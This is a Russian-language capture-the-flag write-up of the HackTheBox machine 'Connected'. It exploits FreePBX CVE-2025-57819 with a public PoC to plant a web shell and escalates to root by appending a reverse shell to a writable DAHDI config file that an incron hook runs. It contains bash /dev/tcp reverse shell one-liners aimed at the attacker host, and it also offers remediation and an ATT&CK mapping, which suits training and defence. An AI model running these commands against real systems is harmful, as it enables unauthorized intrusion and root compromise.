
Подробный разбор пентеста машины HackTheBox «Connected», охватывающий эксплуатацию CVE-2025-57819 в FreePBX (SQLi до RCE) и повышение привилегий до root через неверную конфигурацию incron.
Connected — это Linux-машина на базе CentOS, на которой работает VoIP-система FreePBX v16.0.40.7, интегрированная с Asterisk.
Цепочка эксплуатации (Attack Vector / Kill Chain) состоит из двух основных этапов:
asterisk./usr/sbin/sysadmin_dahdi_restart при записи в файл /var/spool/asterisk/sysadmin/dahdi_restart. Поскольку файл конфигурации DAHDI /etc/dahdi/init.conf доступен для записи (writable) пользователю asterisk, внедрение reverse shell payload в этот конфигурационный файл автоматически выполняется с правами root (uid=0).Первый шаг пентеста начинается с активной разведки с использованием nmap для идентификации открытых портов, запущенных служб и версий системы.
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick
Пояснение флагов Nmap:
-T4: Устанавливает агрессивный timing template для более быстрого и эффективного сканирования.-sC: Запускает набор стандартных NSE (Nmap Scripting Engine) скриптов для базового обнаружения уязвимостей.-sV: Включает определение версий служб на каждом отвечающем порту.-oA recon/nmap_quick: Сохраняет все форматы вывода (standard, grepable, XML) в директорию recon.Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
| 256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_ 256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after: 2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
http://connected.htb/.Поскольку веб-сервер использует виртуальный хостинг и перенаправляет трафик на connected.htb, нам необходимо добавить разрешение локального имени хоста в /etc/hosts:
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts
Доступ к URL http://connected.htb/admin/config.php через браузер отображает веб-интерфейс управления VoIP:
Из нижнего колонтитула веб-страницы получена конкретная информация о версии:
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
16.0.40.7Версия FreePBX 16.0.40.7 уязвима к CVE-2025-57819. Эта уязвимость представляет собой SQL-инъекцию до аутентификации, которая позволяет атакующему без учетных данных (unauthenticated attacker) манипулировать внутренней базой данных FreePBX/Asterisk.
Посредством этой SQL-инъекции атакующий может изменить внутреннюю таблицу cron-задач Asterisk (asterisk.cron_jobs) или внедрить произвольный PHP-код в директорию веб-сервера (создав Web Shell), что приводит к удаленному выполнению кода (RCE).
Мы используем публичный PoC-эксплойт от WatchTowr Labs:
# 1. Клонирование репозитория эксплойта
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819
# 2. Запуск скрипта эксплойта против цели
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb
Результат выполнения эксплойта: Скрипт успешно эксплуатирует цель и создает активный веб-шелл на конечной точке:
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>
Чтобы получить интерактивную сессию (reverse shell), выполните следующие шаги:
Откройте Netcat Listener на машине атакующего (Attacker Machine):
nc -lvnp 1212
Отправьте Payload Reverse Shell через Web Shell:
Отправьте payload reverse shell с помощью curl с URL-кодированным параметром:
curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
Соединение Reverse Shell успешно установлено:
Входящее соединение принимается listener'ом nc, и мы получаем доступ к интерактивной оболочке от имени пользователя asterisk.
[asterisk@connected html]$ cat /home/asterisk/user.txt
После получения доступа от имени пользователя asterisk, следующим шагом является внутреннее перечисление для поиска вектора повышения привилегий до root.
incron)Мы проверяем конфигурацию демона incron (inotify cron table), службы, которая выполняет команды при возникновении событий файловой системы (таких как изменение или создание файла):
[asterisk@connected html]$ cat /etc/incron.d/*
Вывод конфигурации Incron:
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart/var/spool/asterisk/sysadmin/dahdi_restart закрывается после операции записи (IN_CLOSE_WRITE), система автоматически запускает скрипт /usr/sbin/sysadmin_dahdi_restart с привилегиями root.Дальнейшая проверка скрипта /usr/sbin/sysadmin_dahdi_restart показывает, что скрипт перезапускает службу DAHDI (Digium Asterisk Hardware Device Interface) и выполняет / подгружает (source) файл конфигурации /etc/dahdi/init.conf.
Проверка прав доступа к файлу /etc/dahdi/init.conf показывает, что этот файл доступен для записи (writable) пользователю asterisk:
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf
Поскольку /etc/dahdi/init.conf выполняется в контексте root при перезапуске DAHDI, мы можем вставить команду reverse shell в этот конфигурационный файл, а затем запустить перезапуск через incron.
Откройте новый Listener на машине атакующего (Порт 4545):
nc -lvnp 4545
Вставьте Reverse Shell в /etc/dahdi/init.conf:
echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
Запустите (Trigger) событие Incron через запись в файл Spool:
echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
Через несколько секунд после обработки события записи файла демоном incron, root-скрипт выполняет вставленную командную строку, что приводит к соединению reverse shell от имени root (uid=0):
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)
[root@connected /]# whoami
root
[root@connected /]# cat /root/root.txt
Взломано ikmalhanaan 🚀
| Компонент | Спецификация / Описание |
|---|
| Имя машины | Connected |
| Операционная система | Linux (CentOS / FreePBX Distro) |
| IP-адрес цели | <IP_TARGET> (connected.htb) |
| IP-адрес атакующего | <IP_VPN_KITA> (VPN-интерфейс tun0) |
| Критическая уязвимость | CVE-2025-57819 (FreePBX Auth Bypass & SQLi to RCE) |
| Механизм PrivEsc | Неправильно настроенный Incron Daemon Hook + доступный для записи /etc/dahdi/init.conf |
| Используемые инструменты | nmap, curl, python3, netcat (nc), bash, git |
| Вектор слабости | Воздействие | Рекомендации по исправлению / смягчению |
|---|
| FreePBX Pre-Auth SQLi (CVE-2025-57819) | Критическое — Позволяет выполнить RCE без аутентификации через инъекцию в базу данных. | Обновите FreePBX до последней официальной пропатченной версии от Sangoma. Примените строгую проверку входных данных, а также Prepared Statements / Параметризованные запросы во всех конечных точках API. |
Небезопасные права доступа к файлу (/etc/dahdi/init.conf) | Высокое — Непривилегированный пользователь (asterisk) может изменять конфигурационный файл, который выполняется от имени root. | Ограничьте права владения и записи конфигурационного файла: chmod 644 /etc/dahdi/init.conf и chown root:root /etc/dahdi/init.conf. |
| Автоматическое выполнение root-скриптов через Incron | Среднее/Высокое — Автоматизированный root-скрипт загружает конфигурационный файл без проверки целостности. | Проведите аудит всех правил incron и скриптов /usr/sbin/sysadmin_*. Избегайте подгрузки динамических конфигурационных файлов, которые могут быть изменены не-root пользователями. |
| Тактика | ID техники | Название техники | Применение на машине |
|---|
| Разведка (Reconnaissance) | T1595.002 | Active Scanning: Vulnerability Scanning | Сканирование портов и служб с помощью nmap. |
| Первоначальный доступ (Initial Access) | T1190 | Exploit Public-Facing Application | Эксплуатация уязвимости CVE-2025-57819 на веб-сервере FreePBX. |
| Выполнение (Execution) | T1059.004 | Command and Scripting Interpreter: Unix Shell | Выполнение команд bash reverse shell через веб-шелл и init-скрипт. |
| Постоянство / Повышение привилегий (Persistence / Privilege Escalation) | T1053.003 | Scheduled Task/Job: Cron | Использование демона incron для автоматического выполнения root-задач. |
| Повышение привилегий (Privilege Escalation) | T1574.009 | Hijack Execution Flow: Path/Configuration Hijacking | Внедрение вредоносных команд в конфигурационный файл /etc/dahdi/init.conf. |
| Доступ к учетным данным / Сбор данных (Credential Access / Collection) | T1005 | Data from Local System | Чтение флагов user.txt и root.txt. |